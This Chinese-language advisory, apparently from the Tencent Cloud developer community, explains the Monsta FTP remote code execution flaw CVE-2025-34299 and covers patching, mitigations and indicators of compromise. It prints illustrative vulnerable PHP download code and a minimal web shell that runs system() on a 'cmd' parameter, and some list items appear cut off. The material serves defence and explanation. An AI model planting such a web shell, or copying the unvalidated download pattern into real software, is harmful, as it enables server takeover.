
CVE-2025-34299 是一个存在于流行Web文件传输工具Monsta FTP中的严重、未授权的远程代码执行漏洞。该漏洞于2025年8月被发现,并于2025年11月7日公开披露。攻击者可通过一个恶意的(S)FTP服务器上传Web Shell,从而导致服务器被完全接管。目前已有超过5000个暴露在互联网上的实例,且该漏洞正在被积极利用。官方已于2025年8月26日发布补丁版本v2.11.3。
/mftp/application/api/api.php 文件中的不安全文件下载操作。?cmd=whoami)实现远程代码执行。注意:本项目/文档并非用于安装Monsta FTP软件。此处的“安装指南”旨在指导用户如何为受影响的Monsta FTP实例应用安全补丁和缓解措施。
首要措施:立即修补
临时缓解措施
如果无法立即升级,请考虑以下步骤:
/mftp/application/api/api.php 的可疑POST请求。漏洞检测
您可以使用公开的搜索引擎语法来发现暴露在互联网上的、可能易受攻击的Monsta FTP实例。
影响评估指标 (IoCs)
在日志或网络流量中监控以下迹象,以检测潜在的利用尝试:
/mftp/application/api/api.php 的异常POST请求。system()或eval()等危险函数的.php文件。漏洞的核心问题位于Monsta FTP的API处理文件中,涉及到从用户控制的(S)FTP服务器下载文件并直接写入Web目录,且未对文件内容或路径进行充分验证。
// 示例:展示不安全的文件下载逻辑(非原版完整代码,为说明性代码)
// 文件路径:/mftp/application/api/api.php
if (isset($_POST['action']) && $_POST['action'] == 'downloadFromRemote') {
$remoteServer = $_POST['ftp_host']; // 用户可控的FTP主机地址
$remoteFile = $_POST['remote_file']; // 用户可控的远程文件路径
$localPath = $_POST['local_path']; // 用户可控的本地保存路径(通常为Web目录)
// 连接到攻击者指定的FTP服务器
$conn = ftp_connect($remoteServer);
ftp_login($conn, $_POST['username'], $_POST['password']);
// 关键漏洞点:未验证$remoteFile的内容和$localPath的合法性,
// 直接从攻击者的服务器下载文件并保存到Web可访问目录。
if (ftp_get($conn, $localPath, $remoteFile, FTP_BINARY)) {
echo "文件下载成功: " . $localPath;
// 现在,$localPath 可能包含了一个Webshell (例如 shell.php)
}
ftp_close($conn);
}代码注释:
$remoteServer、$remoteFile、$localPath等关键参数直接从用户POST请求中获取,攻击者可以完全控制。ftp_get函数执行下载操作,将$remoteFile(攻击者服务器上的恶意文件,如PHP Webshell)下载到$localPath(目标服务器的Web目录)。// 攻击者可能上传的Webshell示例内容(简化)
// 文件保存为:http://target.com/mftp/uploads/shell.php
<?php
// 检查是否通过`cmd`参数传递了命令
if(isset($_GET['cmd'])) {
// 直接执行系统命令,这是极度危险的操作
system($_GET['cmd']);
// 例如访问:http://target.com/mftp/uploads/shell.php?cmd=whoami
}
?>代码注释:
cmd的GET参数。system($_GET[‘cmd’])函数会直接执行传入的命令字符串,并将输出返回给客户端。原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。